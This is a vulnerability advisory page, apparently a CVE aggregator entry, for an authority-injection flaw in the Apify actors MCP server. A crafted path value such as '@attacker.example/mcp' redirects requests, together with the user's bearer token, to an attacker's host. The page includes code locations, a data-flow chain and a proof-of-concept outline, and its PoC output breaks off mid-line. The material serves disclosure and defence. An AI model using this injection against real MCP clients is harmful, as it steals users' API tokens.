🛡️ CVE-2026-50143 — actors-mcp-server

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-918 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token

Actor MCP path authority injection leaks Apify token

Summary

@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).

Details

getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:

```ts

// src/mcp/actors.ts:44

return ${standbyUrl}${mcpServerPath};

```

mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:

  • begin with a / (relative path),
  • avoid an @ character (userinfo/authority injection), or
  • resolve to the same origin as standbyUrl.

When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:

```

https://[email protected]/mcp

```

Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.

The constructed URL is forwarded to connectMCPClient() through three independent code paths:

| Call site | Trigger |

|---|---|

| src/tools/core/call_actor_common.ts:317 | call-actor MCP tool |

| src/utils/actor_details.ts:155 | fetch-actor-details MCP tool |

| src/mcp/server.ts:1047 | actor-mcp type tool loading |

connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:

```ts

// src/mcp/client.ts:94 — SSEClientTransport requestInit

authorization: Bearer ${token},

// src/mcp/client.ts:103 — SSE fetch callback

headers.set('authorization', Bearer ${token});

// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit

authorization: Bearer ${token},

```

There is no origin check anywhere between URL construction and the outbound HTTP request.

Full data-flow chain:

1. src/mcp/server.ts:811 — MCP tools/call request parameters are read.

2. src/mcp/server.ts:816apifyToken is resolved from _meta.apifyToken, server options, or process.env.APIFY_TOKEN.

3. src/tools/core/call_actor_common.ts:489-497 — attacker-controlled actor identifier is resolved via getActorMcpUrlCached().

4. src/utils/actor.ts:24-28 — Actor definition is fetched from the Apify API; webServerMcpPath is passed to getActorMCPServerURL().

5. src/mcp/actors.ts:14-20webServerMcpPath is trimmed and split; first element is returned without path validation.

6. src/mcp/actors.ts:44standbyUrl + mcpServerPath produces an authority-injected URL.

7. connectMCPClient() is called with the injected URL and the victim's token.

8. src/mcp/client.ts:94/103/124Authorization: Bearer <APIFY_TOKEN> is sent to the attacker's host.

PoC

Environment requirements:

  • Docker (network-isolated container; no external network access needed)
  • The repository at commit 4e2b185 checked out under the build context

Build and run:

```bash

# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)

docker build -t vuln-001-poc \

-f vuln-001/Dockerfile \

/path/to/mcp_38_apify__actors-mcp-server

# Run the exploit (--network none: fully air-gapped)

docker run --rm --network none vuln-001-poc

```

The Dockerfile:

1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).

2. Installs @apify/[email protected] dependencies under pnpm.

3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.

4. Runs exploit.mjs, which:

  • Starts an HTTPS capture server on 127.0.0.1:31337.
  • Constructs a webServerMcpPath of @127.0.0.1:31337/mcp.
  • Calls getActorMCPServerURL() directly, producing https://[email protected]:31337/mcp.
  • Calls connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345).
  • Asserts that the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.

Observed output (Phase 2 evidence):

```

parsed.hostname : 127.0.0.1

[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337

=== STEP 2: attacker H

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.

Weakness class

CVE-2026-50143 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-50143 is recorded against 1 package.

  • @apify/actors-mcp-server

Timeline and source

Published on 1 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
CWE CWE-918
Public Exploit ✅ No
Source OSV
Published 2026-07-01
Updated 2026-08-12
Modified 2026-07-01
Fix URL N/A

Affected Packages

Software From version Fixed in
@apify/actors-mcp-server

Similar Threats

Site Security Check

Is actors-mcp-server part of your stack?

CVE-2026-50143 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.